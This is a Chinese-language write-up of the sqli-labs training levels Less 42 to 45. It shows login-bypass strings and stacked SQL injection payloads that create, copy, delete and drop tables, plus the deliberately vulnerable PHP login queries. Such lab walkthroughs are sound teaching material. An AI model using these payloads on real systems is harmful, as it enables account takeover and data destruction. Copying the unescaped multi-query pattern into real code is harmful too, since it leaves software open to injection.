sqli-labs 通关指南:Less 42 ~ 45
Less 42 ~ 45 是使用 POST 提交参数的登录界面,username 字段进行了参数过滤,但是 password 字段没有。此处可以在 password 字段使用万能密码直接夺取用户,也可以在该字段处使用堆叠注入。
Less 42#
判断注入类型#
打开网页看到登录页面,该页面和 Less 24 的二次注入的页面相似。在用户名使用万能密码测试,全部都登录失败。
1 OR 1 = 1#
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
在密码字段使用万能密码测试,使用单引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
堆叠注入#
可以在已知某个用户的用户名的条件下使用万能密码夺取用户,也可以使用二次注入进行攻击。由于密码参数没有进行防御,可以在该字段测试堆叠注入。使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a' OR 1 = 1;DELETE FROM WhiteMoon;#
a' OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句#
username 字段使用 mysqli_real_escape_string() 函数进行转义,而 password 字段没有任何防御措施。
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
Less 43#
判断注入类型#
在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
a') OR 1 = 1#
堆叠注入#
使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a') OR 1 = 1;DELETE FROM WhiteMoon;#
a') OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句#
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
Less 44#
判断注入类型#
在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
堆叠注入#
和 Less 42 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a' OR 1 = 1;DELETE FROM WhiteMoon;#
a' OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句#
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
}
Less 45#
判断注入类型#
在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
a') OR 1 = 1#
堆叠注入#
和 Less 43 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a') OR 1 = 1;DELETE FROM WhiteMoon;#
a') OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句#
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)